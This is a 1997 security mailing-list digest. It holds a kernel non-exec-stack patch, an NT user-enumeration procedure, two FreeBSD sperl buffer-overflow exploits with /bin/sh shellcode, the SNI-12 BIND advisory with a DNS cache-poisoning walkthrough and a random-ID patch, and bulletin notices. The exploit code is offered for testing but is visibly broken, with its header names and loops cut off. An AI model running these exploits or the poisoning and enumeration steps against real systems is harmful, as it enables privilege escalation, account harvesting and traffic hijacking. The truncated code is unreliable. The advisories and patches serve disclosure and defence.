USER_CS && get_seg_byte(USER_DS, (char *)regs->eip) != 0xC3) { +/* + * Switch to the original huge code segment (and allow code execution on the + * stack for this entire process), unless the faulty instruction is a RET. + */ + regs->cs = USER_HUGE_CS; + return; + } current->tss.error_code = error_code; current->tss.trap_no = 13; force_sig(SIGSEGV, current); diff -u --recursive /extra/linux-2.0.30/include/asm-i386/segment.h linux/include/asm-i386/segment.h --- /extra/linux-2.0.30/include/asm-i386/segment.h Sat Apr 12 10:41:37 1997 +++ linux/include/asm-i386/segment.h Sat Apr 12 10:44:58 1997 @@ -4,7 +4,8 @@ #define KERNEL_CS 0x10 #define KERNEL_DS 0x18 -#define USER_CS 0x23 +#define USER_HUGE_CS 0x23 +#define USER_CS 0x33 #define USER_DS 0x2B #ifndef __ASSEMBLY__ Signed, Solar Designer - ---------------------------- Date: Sat, 19 Apr 1997 20:21:55 -0400 From: webroot To: best-of-security@suburbia.net Subject: BoS: NT User List Exploit Message-Id: <199704202256.PAA02434@pdx1.world.net> I have found an interesting Microsoft "feature" that allows anyone running NT server as a domain controller to obtain a complete user listing, including group memberships, of any other NT server on the same network. Here's how it is done: 1. Connect an NT server to the same network as the target NT server. 2. From the USER MANAGER, create a trusting relashionship with the target. When prompted for a password, enter whatever you want; it doesn't matter. You will get a response stating that NT couldn't verify the trust (this is because of the invalid password). However, the target will now be on your trusting list. 3. Launch NT Explorer and right click on any folder. 4. Select SHARING. 5. From the SHARED window, select ADD. 6. From the ADD menu, select your target NT server. 7. You will now see the entire group listing of the target. And if you select SHOW USERS, you will see the entire user listing, including full names and descriptions. I have tested this exploit on three target NT servers running on different networks, all with successful results. With a user listing (including full names, descriptions and group memberships) a hacker now has valid accounts to attack. Obviously, this is a very serious problem. Because I have not yet been able to find a fix for this issue, any help would be greatly appreciated. Microsoft's incompetence never ceases to amaze me. Steve Thomas, Vice President Innovative Protection Solutions http://www.ips-corp.com/ webroot@webroot.com - ------------------------------ End of best-of-security-d Digest V97 Issue #14 ********************************************** ------------------------------ Date: Mon, 21 Apr 1997 16:22:09 -0400 From: "Peter M. O'Donnell" To: best-of-security@suburbia.net Subject: BoS: winreg key Message-Id: <199704221903.FAA07346@suburbia.net> Regarding the winreg registry key: info can be found at either of these two sites: http://www.microsoft.com/kb/articles/q155/3/63.htm http://www.microsoft.com/kb/articles/q153/1/83.htm -peter ------------------------------ Date: Mon, 21 Apr 1997 16:34:41 PDT From: Deliver To: best-of-security@suburbia.net Subject: BoS: Exploits for FreeBSD sperl4.036 & sperl5.00x Message-ID: Content-Type: text/plain; charset=US-ASCII; X-MAPIextension=".TXT" Content-Transfer-Encoding: 7BIT If somebody want to test perl5.00X or perl4.036 buffer overflow exploits there are two for FreeBSD... First works on perl4.036 and the second on perl5.002 ... With a little modyfication of OFFSET value you can overflow all versions up to perl5.003 ------------cut-------------cut-------------cut------------cut------------ /************************************************************/ /* Exploit for FreeBSD sperl4.036 by OVX */ /************************************************************/ #include #include #include #define BUFFER_SIZE 1400 #define OFFSET 600 char *get_esp(void) { asm("movl %esp,%eax"); } char buf[BUFFER_SIZE]; main(int argc, char *argv[]) { int i; char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; for(i=0+1;i #include #include #define BUFFER_SIZE 1400 #define OFFSET 1000 char *get_esp(void) { asm("movl %esp,%eax"); } char buf[BUFFER_SIZE]; main(int argc, char *argv[]) { int i; char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; for(i=0;i To: best-of-security@suburbia.net Subject: BoS: SECURECOMM '97: Final reminder Message-Id: <9704212026.AA06751@montana.ctt.bellcore.com> Content-Type: text/plain; charset="us-ascii" Just a reminder that the final registration deadline for SECURECOMM '97: The Computer and Telecommunications Security Forum is April 23 (Wednesday). For schedule and registration information on this exciting event, visit the SECURECOMM Web page at: http://www.bellcore.com/SECURECOMM -- Anish Bhimani, Director Security & Fraud Reduction Solutions Bellcore (908) 699-5571 (tel) (908) 336-2828 (fax) anish@ctt.bellcore.com abhimani@notes.cc.bellcore.com ATTEND SECURECOMM '97, April 28-30, Atlanta, GA http://www.bellcore.com/SECURECOMM ------------------------------ Date: Tue, 22 Apr 1997 11:40:11 -0400 From: Oliver Friedrichs (by way of Marc Bejarano ) To: best-of-security@suburbia.net Subject: BoS: SNI-12: BIND Vulnerabilities and Solutions Message-Id: <3.0.1.32.19970422114011.00e0a0e8@rodan> Content-Type: text/plain; charset="us-ascii" -----BEGIN PGP SIGNED MESSAGE----- ###### ## ## ###### ## ### ## ## ###### ## # ## ## ## ## ### ## ###### . ## ## . ######. Secure Networks Inc. AND CORE Seguridad de la Informacion Security Advisory April 22, 1997 BIND Vulnerabilities and Solutions Problem Description ~~~~~~~~~~~~~~~~~~~ This advisory contains descriptions and solutions for two vulnerabilities present in current BIND distributions. These vulnerabilities are actively being exploited on the Internet. I. The usage of predictable IDs in queries and recursed queries allows for remote cache corruption. This allows malicious users to alter domain name server caches to change the addresses and hostnames of hosts on the internet. II. A failure to check whether hostname lengths exceed MAXHOSTNAMELEN in size. This results in potential buffer overflows in programs which expect the BIND resolver to only return a maximum hostname length of MAXHOSTNAMELEN. Problem I. The usage of predictable ID's ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Problem I. - Impact ~~~~~~~~~~~~~~~~~~~ Remote root users can poison BIND and Microsoft Windows NT name server caches by forging UDP packets. We should note that unlike other well documented attacks, in this instance it is NOT necessary for the attacker to take over a DNS server or sniff the target network. Problem I. - Technical Details ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This particular cache corruption attack requires that the target nameserver be configured to allow recursion. Recursion allows a nameserver to handle requests for zones or domains which it does not serve. When receiving a query for a zone or domain which is not served by the name server, the name server will transmit a query to a nameserver which serves the desired domain. Once a response is received from the second nameserver, the first nameserver sends the response back to the requesting party. The following attack is outlined in the paper "Addressing weaknesses in the Domain Name System Protocol" by Christopher Schuba and Eugene Spafford [6]. To the extent of our knowledge, this problem has not been previously addressed. The paper also assumes that the attacker has super-user access to a primary nameserver, here we demonstrate that this is not necessary nor are source routed packets required. Using the recursion feature, one can poison the cache on a name server with the following procedure: Problem I. - The Players ~~~~~~~~~~~~~~~~~~~~~~~~ . HOST.ATTACKER.COM is the attacking host. . DNS.ATTACKER.COM is ATTACKER.COM's nameserver, we presume that this is the only name server for ATTACKER.COM to simplify the description. . DNS.TARGET.COM is the target nameserver which runs BIND. What we will attempt to do is add an A (address) resource record on DNS.TARGET.COM that will resolve WWW.SPOOFED.COM to 127.0.0.1. We are sure that WWW.SPOOFED.COM is not cached in DNS.TARGET.COM's DNS cache. . DNS.SPOOFED.COM is the nameserver for SPOOFED.COM's domain. We have determined this before the attack begins. Once again we just presume its the only one in order to simplify this description. Problem I. - The Attack ~~~~~~~~~~~~~~~~~~~~~~~ A. First a query is sent to DNS.TARGET.COM asking for the address of UNKNOWN.ATTACKER.COM. Our query has the recursion desired bit set, meaning that if the nameserver we are querying has recursion enabled, it will query another nameserver with our query (assuming it does not have the information cached). B. DNS.TARGET.COM will first determine who serves the ATTACKER.COM domain, then it will build a query packet and send it to DNS.ATTACKER.COM. C. We sniff DNS.ATTACKER.COM's local network and retrieve the query packet sent by DNS.TARGET.COM to DNS.ATTACKER.COM. We can then determine the query ID (qid0) used by DNS.TARGET.COM. Chances are that the next queries generated by DNS.TARGET.COM will have query IDs that will fall in the range [qid0,qid0+N] where N is dependent on the amount of queries DNS.TARGET.COM is generating in the period of time on which the attack takes place. N is usually <= 10 for most cases. D. Once we have determined what the next query ID generated will be, we send a query to DNS.TARGET.COM asking for WWW.SPOOFED.COM's address. E. Then we start sending spoofed DNS replies from DNS.SPOOFED.COM, telling DNS.TARGET.COM that WWW.SPOOFED.COM is '127.0.0.1'. F. If we guessed the query ID used by DNS.TARGET.COM in its recursed query and our response is received first, our response will be taken as valid and the address will be cached. Subsequent responses will be discarded as duplicates. We can always send many (N*M) spoofed packets with different IDs in the range (qid0,qid0+N] so we will be sure that at least one of them will hit DNS.TARGET.COM and have the 'right' ID. M is a factor dependent of the amount of UDP packets we expect to lose on their way to DNS.TARGET.COM. Problem I. - The Result ~~~~~~~~~~~~~~~~~~~~~~~ If the attack succeeded, any query to DNS.TARGET.COM asking for WWW.SPOOFED.COM's address, will get 127.0.0.1 as a response. Thus, any user on TARGET.COM's domain will connect to 127.0.0.1 if they try to contact WWW.SPOOFED.COM. The usage of 127.0.0.1 in this description is of course for instructional purposes, any IP address can be used, in particular an attacker could use its own IP address (BADGUY.COM's IP) so all connections to 'host' will go to 'BADGUY'. The attacker can then 'impersonate' WWW.SPOOFED.COM. Given this attack, it is easy to visualize the effects of impersonating a high traffic FTP distribution site. This attack can also be used to intercept email traffic, and bypass address based authentication methods, including TCP wrappers and firewalls. Problem I. - Notes ~~~~~~~~~~~~~~~~~~ This attack depends on a few things to succeed: 1. The attacker has complete control of DNS.ATTACKER.COM's network, he can both spoof and sniff DNS packets there. In particular, he can sniff DNS packets sent to DNS.ATTACKER.COM. 2. Spoofed DNS responses sent from the attacker to DNS.TARGET.COM must be received before the legit response from DNS.SPOOFED.COM. This is very easy to achieve. In testing we have not yet encountered a situation where we could not get our packets to the nameserver first. 3. The name server on DNS.TARGET.COM supports recursion and caches responses. This is common practice. It should be noted that most nameservers allow recursion (unless specifically denied by configuration options). Root name servers, however, do not allow recursion. If DNS.TARGET.COM caches negative responses as well (NCACHE), a denial of service attack can be performed, in this case, spoofed responses sent by the attacker will tell DNS.TARGET.COM that WWW.SPOOFED.COM does not exist (and be authorative on this). The existence of several nameservers for the domains does not alter the basic outline of this attack. The attacker would only need to send DNS responses with source addresses of each of SPOOFED.COM's nameservers. (N*M*I responses, where I is the number of nameservers). Problem I. - Systems Affected ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - - All systems using BIND as their domain name server with recursion enabled. - - Windows NT (server) version 3.51 & 4.0 DNS server. Microsoft has been notified and has acknowledged this is a serious problem. No information on a fix is availible. Problem II. Hostname length checking ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Problem II. - Impact ~~~~~~~~~~~~~~~~~~~~ BIND allows passing of hostnames larger than MAXHOSTNAMELEN in size to programs. As many programs utilize buffers of size MAXHOSTNAMELEN and copy the results from a query into these buffers, an overflow can occur. This can allow an attacker to execute arbitrary commands on a remote server in a worst case scenario. Problem II. - Systems Affected ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ All systems running BIND. Fix Information ~~~~~~~~~~~~~~~ Obtain BIND version 4.9.5-P1. BIND is availible from ftp.isc.org in the directory /isc/bind/src. Patches to solve both problem I and problem II are included at the end of this advisory. Once BIND has been obtained, follow the following procedure: i. First remove the patches from this text. This can be performed by removing all text in between the "CUT HERE" lines, and saving it to a text file (i.e. /tmp/diffs.txt). ii. Perform the following operations to apply the patches: % gzip -d bind.tar.gz % mkdir bind % cd bind % tar -xvf ../bind.tar % patch < /tmp/diffs.txt iii. Rebuild BIND Attributions ~~~~~~~~~~~~ Ivan Arce Emiliano Kargieman The OpenBSD Project Who found a good solution to problem, developed a solution and performed various tests to ensure its correctness. Individuals involved in this effort were: Theo de Raadt Niels Provos Todd Miller Allen Briggs Further attributions: AUSCERT David Sacerdote Oliver Friedrichs Alfred Huger Additional Information: ~~~~~~~~~~~~~~~~~~~~~~~ [1] Vixie P. , "DNS and BIND security issues". This was originally published in the proceedings of the 5th USENIX Security Symposium and its included in the BIND distribution under the doc/misc directory. [2] Kumar A., Postel J., Neuman C., Danzig P. , Miller S. "RFC1536: Common DNS implementation errors and suggested fixes" Refer to problem 2 for a description of other weaknesses previously found in the recursion scheme. [3] Lottor, M., "RFC1033: Domain administrators operations guide" [4] Mockapetris, P., "RFC1034: Domain names - Concepts and facilities" [5] Mockapetris, P., "RFC1035: Domain Names - Implementation and specification" [6] Schuba Christopher and Spafford Eugene, "Adressing weaknesses in the Domain Name System Protocol", COAST Laboratory, Department of Computer Science, Purdue University. Comments and questions regarding this advisory can be sent to: Ivan Arce Emiliano Kargieman For more information about CORE S.A. contact: core@secnet.com Or visit: http://www.secnet.com/core Encrypted mail can also be sent to encrypted with the following PGP key: Type Bits/KeyID Date User ID pub 1024/9E55000D 1997/01/13 Secure Networks Inc. Secure Networks - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3ia mQCNAzLaFzIAAAEEAKsVzPR7Y6oFN5VPE/Rp6Sm82oE0y6Mkuof8QzERV6taihn5 uySb31UeNJ4l6Ud9alOPT/0YdeOO9on6eD1iU8qumFxzO3TLm8nTAdZehQSAQfoa rWmpwj7KpXN/3n+VyBWvhpBdKxe08SQN4ZjvV5HXy4YIrE5bTbgIhFKeVQANAAUR tCVTZWN1cmUgTmV0d29ya3MgSW5jLiA8c25pQHNlY25ldC5jb20+iQCVAwUQM1yd EB/bLKAOe7p9AQFptAQAiYpaZCpSmGgr05E698Z3t5r5BPAKUEtgvF53AvZUQLxz ZsYsVU5l5De0qKWJOQ/9LiDyWu1lvKhlTphbLy2RatWD4kO3oQL9v3TpSXm2WQhU uIzyZvj7S5ENodNnKn+gCDIvbou6OMot+7dRbWWgN2oabbru4CSlOxbG++yaTz+J AJUDBRAzTefbtOXez5VgyLkBAd0bA/43eGEgvPOFK+HHWCPpkSWCwtrtDU/dxOVz 9erHnT/CRxeojCI+50f71Qe+kvx9Q1odz2Jl/fLxhnPQdbPnpWblIbu4F8H+Syrj HTilDrl1DWa/nUNgK8sb27SMviELczP1a8gwA1eo5SUCG5TWLLTAzjWOgTxod2Ha OwseUHmqVIkAlQMFEDNOVsr/d6Iw8NVIbQEBxM0D/14XRfgSLwszgJcVbslMHm/B fF6tHoWYojzQle3opOuMYHNN8GsMZRkc1qQ8QuNA9Aj5+qDqEontGjV5IvhBu1fY FM77AhagskaFCZxwqV64Qrk328WDO89NGSd+RuovVNruDdn20TxNCEVuPTHjI0UA 8H+E6FW9jexg6RTHhPXYtCVTZWN1cmUgTmV0d29ya3MgPHNlY3VyaXR5QHNlY25l dC5jb20+iQCVAwUQMtqTKB/bLKAOe7p9AQFw5wQAgUwqJ+ZqfEy/lO1srU3nzxLA X0uHGHrMptRy/LFo8swD6G1TtWExUc3Yv/6g2/YK09b5WmplEJ+Q09maQIw+RU/s cIY+EsPauqIq4JTGh/Nm0Z4UDl2Y1x4GNtm0YqezxUPS0P0A3LHVLJ3Uo5og0G8O gPNrfbVz5ieT14OSCWCJAJUDBRAy2hd2/3eiMPDVSG0BAVNhBACfupfAcNhhnQaq aI03DOOiZSRjvql1xw4V+pPhM+IksdSK3YNUZVJJtANacgDhBT+jAPRaYbBWI3A5 ZMdcSNM8aTG0LWMLIOiOYEm6Lgd3idRBFN0Js08eyITl8mhZ33mDe4I0KQri9UiV ZcPYTbb9CWM6Hv2cMbt6S6kLnFziqIkAlQMFEDLaF0+4CIRSnlUADQEBCLoEAJwt UofDgvyZ4nCDx1KKAPkkXBRaPMWBp46xeTVcxaYiloZfwHfpk1h2mEJAxmAsvizl OtIppHl4isUxcGi/E2mLCLMvis22/IQP/9obPahPvgNaMLVtZljO1Nv3QFEkNciL FEUTNJHR1ko7ibCxkBs4cOpirFuvTMDvWnNaXAf8 =DchE - -----END PGP PUBLIC KEY BLOCK----- Copyright Notice ~~~~~~~~~~~~~~~~ The contents of this advisory are Copyright (C) 1997 Secure Networks Inc and CORE Seguridad de la Informacion S.A., and may be distributed freely provided that no fee is charged for distribution, and that proper credit is given. You can find Secure Networks papers at ftp://ftp.secnet.com/pub/papers and advisories at ftp://ftp.secnet.com/advisories You can browse our web site at http://www.secnet.com You can subscribe to our security advisory mailing list by sending mail to majordomo@secnet.com with the line "subscribe sni-advisories" Patches ~~~~~~~ --- CUT HERE --- diff -cNr ../bind-4.9.5-P1-rel/contrib/host/host.c ./contrib/host/host.c *** ../bind-4.9.5-P1-rel/contrib/host/host.c Sat Oct 12 16:24:42 1996 - --- ./contrib/host/host.c Wed Apr 9 15:27:05 1997 *************** *** 537,543 **** _res.retrans = DEF_RETRANS; /* timeout in secs between retries */ /* initialize packet id */ ! _res.id = getpid() & 0x7fff; /* save new defaults */ new_res = _res; - --- 537,543 ---- _res.retrans = DEF_RETRANS; /* timeout in secs between retries */ /* initialize packet id */ ! _res.id = res_randomid(); /* save new defaults */ new_res = _res; diff -cNr ../bind-4.9.5-P1-rel/named/ns_main.c ./named/ns_main.c *** ../bind-4.9.5-P1-rel/named/ns_main.c Tue Nov 26 03:11:23 1996 - --- ./named/ns_main.c Wed Apr 9 00:24:14 1997 *************** *** 1658,1668 **** } /* ! * These are here in case we ever want to get more clever, like perhaps ! * using a bitmap to keep track of outstanding queries and a random ! * allocation scheme to make it a little harder to predict them. Note ! * that the resolver will need the same protection so the cleverness ! * should be put there rather than here; this is just an interface layer. */ void - --- 1658,1668 ---- } /* ! * This just an interface layer to the random number generator ! * used in the resolver. ! * A special random number generator is used to create non predictable ! * and non repeating ids over a long period. It also avoids reuse ! * by switching between two distinct number cycles. */ void *************** *** 1674,1683 **** u_int16_t nsid_next() { ! if (nsid_state == 65535) ! nsid_state = 0; ! else ! nsid_state++; return (nsid_state); } - --- 1674,1680 ---- u_int16_t nsid_next() { ! nsid_state = res_randomid(); return (nsid_state); } diff -cNr ../bind-4.9.5-P1-rel/res/Makefile ./res/Makefile *** ../bind-4.9.5-P1-rel/res/Makefile Thu Aug 8 16:49:48 1996 - --- ./res/Makefile Wed Apr 9 00:32:13 1997 *************** *** 77,89 **** res_comp.c res_init.c res_mkquery.c res_query.c res_send.c \ getnetbyaddr.c getnetbyname.c getnetent.c getnetnamadr.c \ gethnamaddr.c sethostent.c nsap_addr.c hostnamelen.c inet_addr.c \ ! inet_ntop.c inet_neta.c inet_pton.c inet_net_ntop.c inet_net_pton.c OBJS= base64.o herror.o res_debug.o res_data.o \ res_comp.o res_init.o res_mkquery.o res_query.o res_send.o \ getnetbyaddr.o getnetbyname.o getnetent.o getnetnamadr.o \ gethnamaddr.o sethostent.o nsap_addr.o hostnamelen.o inet_addr.o \ ! inet_ntop.o inet_neta.o inet_pton.o inet_net_ntop.o inet_net_pton.o all: libresolv.a - --- 77,91 ---- res_comp.c res_init.c res_mkquery.c res_query.c res_send.c \ getnetbyaddr.c getnetbyname.c getnetent.c getnetnamadr.c \ gethnamaddr.c sethostent.c nsap_addr.c hostnamelen.c inet_addr.c \ ! inet_ntop.c inet_neta.c inet_pton.c inet_net_ntop.c inet_net_pton.c \ ! res_random.c OBJS= base64.o herror.o res_debug.o res_data.o \ res_comp.o res_init.o res_mkquery.o res_query.o res_send.o \ getnetbyaddr.o getnetbyname.o getnetent.o getnetnamadr.o \ gethnamaddr.o sethostent.o nsap_addr.o hostnamelen.o inet_addr.o \ ! inet_ntop.o inet_neta.o inet_pton.o inet_net_ntop.o inet_net_pton.o \ ! res_random.o all: libresolv.a diff -cNr ../bind-4.9.5-P1-rel/res/res_comp.c ./res/res_comp.c *** ../bind-4.9.5-P1-rel/res/res_comp.c Mon Dec 2 02:17:22 1996 - --- ./res/res_comp.c Fri Apr 18 18:45:02 1997 *************** *** 98,103 **** - --- 98,105 ---- dn = exp_dn; cp = comp_dn; + if (length > MAXHOSTNAMELEN-1) + length = MAXHOSTNAMELEN-1; eom = exp_dn + length; /* * fetch next label in domain name diff -cNr ../bind-4.9.5-P1-rel/res/res_init.c ./res/res_init.c *** ../bind-4.9.5-P1-rel/res/res_init.c Sat Sep 28 00:51:07 1996 - --- ./res/res_init.c Wed Apr 9 00:33:30 1997 *************** *** 197,209 **** if (!(_res.options & RES_INIT)) _res.options = RES_DEFAULT; - - /* - - * This one used to initialize implicitly to zero, so unless the app - - * has set it to something in particular, we can randomize it now. - - */ - - if (!_res.id) - - _res.id = res_randomid(); - - #ifdef USELOOPBACK _res.nsaddr.sin_addr = inet_makeaddr(IN_LOOPBACKNET, 1); #else - --- 197,202 ---- *************** *** 644,655 **** return(0); /* if not using DNS configuration from NetInfo */ } #endif /* NeXT */ - - - - u_int - - res_randomid() - - { - - struct timeval now; - - - - gettimeofday(&now, NULL); - - return (0xffff & (now.tv_sec ^ now.tv_usec ^ getpid())); - - } - --- 637,639 ---- diff -cNr ../bind-4.9.5-P1-rel/res/res_mkquery.c ./res/res_mkquery.c *** ../bind-4.9.5-P1-rel/res/res_mkquery.c Sat Sep 28 00:37:58 1996 - --- ./res/res_mkquery.c Wed Apr 9 00:31:30 1997 *************** *** 107,118 **** #endif /* * Initialize header fields. */ if ((buf == NULL) || (buflen < HFIXEDSZ)) return (-1); bzero(buf, HFIXEDSZ); hp = (HEADER *) buf; ! hp->id = htons(++_res.id); hp->opcode = op; hp->rd = (_res.options & RES_RECURSE) != 0; hp->rcode = NOERROR; - --- 107,123 ---- #endif /* * Initialize header fields. + * + * A special random number generator is used to create non predictable + * and non repeating ids over a long period. It also avoids reuse + * by switching between two distinct number cycles. */ + if ((buf == NULL) || (buflen < HFIXEDSZ)) return (-1); bzero(buf, HFIXEDSZ); hp = (HEADER *) buf; ! hp->id = htons(_res.id=res_randomid()); hp->opcode = op; hp->rd = (_res.options & RES_RECURSE) != 0; hp->rcode = NOERROR; diff -cNr ../bind-4.9.5-P1-rel/res/res_random.c ./res/res_random.c *** ../bind-4.9.5-P1-rel/res/res_random.c Wed Dec 31 17:00:00 1969 - --- ./res/res_random.c Tue Apr 22 02:31:25 1997 *************** *** 0 **** - --- 1,262 ---- + /* $OpenBSD: res_random.c,v 1.3 1997/04/19 10:07:01 provos Exp $ */ + + /* + * Copyright 1997 Niels Provos + * All rights reserved. + * + * Theo de Raadt came up with the idea of using + * such a mathematical system to generate more random (yet non-repeating) + * ids to solve the resolver/named problem. But Niels designed the + * actual system based on the constraints. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Niels Provos. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + + /* + * seed = random 15bit + * n = prime, g0 = generator to n, + * j = random so that gcd(j,n-1) == 1 + * g = g0^j mod n will be a generator again. + * + * X[0] = random seed. + * X[n] = a*X[n-1]+b mod m is a Linear Congruential Generator + * with a = 7^(even random) mod m, + * b = random with gcd(b,m) == 1 + * m = 31104 and a maximal period of m-1. + * + * The transaction id is determined by: + * id[n] = seed xor (g^X[n] mod n) + * + * Effectivly the id is restricted to the lower 15 bits, thus + * yielding two different cycles by toggling the msb on and off. + * This avoids reuse issues caused by reseeding. + * + * The 16 bit space is very small and brute force attempts are + * entirly feasible, we skip a random number of transaction ids + * so that an attacker will not get sequential ids. + */ + + #include + #include + #include + #include + + #if defined(BSD) && (BSD >= 199103) + # include + # include + # include + #else + # include "../conf/portability.h" + #endif + + #define RU_OUT 180 /* Time after wich will be reseeded */ + #define RU_MAX 30000 /* Uniq cycle, avoid blackjack prediction */ + #define RU_GEN 2 /* Starting generator */ + #define RU_N 32749 /* RU_N-1 = 2*2*3*2729 */ + #define RU_AGEN 7 /* determine ru_a as RU_AGEN^(2*rand) */ + #define RU_M 31104 /* RU_M = 2^7*3^5 - don't change */ + + #define PFAC_N 3 + const static u_int16_t pfacts[PFAC_N] = { + 2, + 3, + 2729 + }; + + static u_int16_t ru_x; + static u_int16_t ru_seed; + static u_int16_t ru_a, ru_b; + static u_int16_t ru_g; + static u_int16_t ru_counter = 0; + static u_int16_t ru_msb = 0; + static long ru_reseed; + static u_int32_t tmp; /* Storage for unused random */ + static struct timeval tv; + + static u_int32_t pmod __P((u_int32_t, u_int32_t, u_int32_t)); + static void res_initid __P((void)); + + #ifndef __OpenBSD__ + /* + * No solid source of strong random in the system. Sigh. Fake it. + */ + u_long + arc4random() + { + static char state[256]; + char *savestate; + char *setstate(); + static unsigned seed; + static int count; + u_long datum; + + if (++count == 129837 || seed == 0) { + struct timeval tv; + + count = 0; + gettimeofday(&tv, NULL); + seed = getpid() ^ tv.tv_sec ^ tv.tv_usec; + initstate(seed, state, sizeof state); + } + savestate = setstate(state); + datum = random(); + setstate(savestate); + return (datum); + } + + #endif + + /* + * Do a fast modular exponation, returned value will be in the range + * of 0 - (mod-1) + */ + + static u_int32_t + pmod(gen, exp, mod) + u_int32_t gen, exp, mod; + { + u_int32_t s, t, u; + + s = 1; + t = gen; + u = exp; + + while (u) { + if (u & 1) + s = (s*t) % mod; + u >>= 1; + t = (t*t) % mod; + } + return (s); + } + + /* + * Initalizes the seed and chooses a suitable generator. Also toggles + * the msb flag. The msb flag is used to generate two distinct + * cycles of random numbers and thus avoiding reuse of ids. + * + * This function is called from res_randomid() when needed, an + * application does not have to worry about it. + */ + static void + res_initid() + { + u_int16_t j, i; + int noprime = 1; + + tmp = arc4random(); + ru_x = (tmp & 0xFFFF) % RU_M; + + /* 15 bits of random seed */ + ru_seed = (tmp >> 16) & 0x7FFF; + + tmp = arc4random(); + + /* Determine the LCG we use */ + ru_b = (tmp & 0xfffe) | 1; + ru_a = pmod(RU_AGEN, (tmp >> 16) & 0xfffe, RU_M); + while (ru_b % 3 == 0) + ru_b += 2; + + tmp = arc4random(); + j = tmp % RU_N; + tmp = tmp >> 16; + + /* + * Do a fast gcd(j,RU_N-1), so we can find a j with + * gcd(j, RU_N-1) == 1, giving a new generator for + * RU_GEN^j mod RU_N + */ + + while (noprime) { + for (i=0; i=PFAC_N) + noprime = 0; + else + j = (j+1) % RU_N; + } + + ru_g = pmod(RU_GEN,j,RU_N); + ru_counter = 0; + + gettimeofday(&tv, NULL); + ru_reseed = tv.tv_sec + RU_OUT; + ru_msb = ru_msb == 0x8000 ? 0 : 0x8000; + } + + u_int + res_randomid() + { + int i, n; + + gettimeofday(&tv, NULL); + if (ru_counter >= RU_MAX || tv.tv_sec > ru_reseed) + res_initid(); + + if (!tmp) + tmp = arc4random(); + + /* Skip a random number of ids */ + n = tmp & 0x2f; tmp = tmp >> 6; + if (ru_counter + n >= RU_MAX) + res_initid(); + + for (i=0; i<=n; i++) + /* Linear Congruential Generator */ + ru_x = (ru_a*ru_x + ru_b) % RU_M; + + ru_counter += i; + + return (ru_seed ^ pmod(ru_g,ru_x,RU_N)) | ru_msb; + } + + #if 0 + void + main(int argc, char **argv) + { + int i, n; + u_int16_t wert; + + res_initid(); + + printf("Generator: %d\n", ru_g); + printf("Seed: %d\n", ru_seed); + printf("Reseed at %ld\n", ru_reseed); + printf("Ru_X: %d\n", ru_x); + printf("Ru_A: %d\n", ru_a); + printf("Ru_B: %d\n", ru_b); + + n = atoi(argv[1]); + for (i=0;i To: best-of-security@suburbia.net Subject: BoS: SNI-12: Update Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII I apologize for causing more traffic on this, however the patches in the advisory "SNI-12: BIND Vulnerabilities and Solutions" were modified by PGP when signing the message and will not apply without some hacking. Copies of the patches (both context and unified formats) can be obtained from ftp://ftp.secnet.com/pub/patches. A Windows NT version of the fixed BIND should also be availible soon until an official release is made (this is not the Microsoft DNS server, however BIND ported to Windows NT). It will be availible in the same directory. - Oliver - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Secure Networks Incorporated. Calgary, Alberta, Canada, (403) 262-9211 ------------------------------ Date: Wed, 23 Apr 1997 11:45:14 -0500 From: Aleph One To: best-of-security@suburbia.net Subject: BoS: Security Bulletins Digest Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII HP Support Information Digests =============================================================================== o HP Electronic Support Center World Wide Web Service --------------------------------------------------- If you subscribed through the HP Electronic Support Center and would like to be REMOVED from this mailing list, access the HP Electronic Support Center on the World Wide Web at: http://us-support.external.hp.com Enter the Support Information Digests service as a registered user, using your HP Electronic Support Center User ID and Password to login. You may then unsubscribe from the appropriate digest. =============================================================================== Digest Name: Daily Security Bulletins Digest Created: 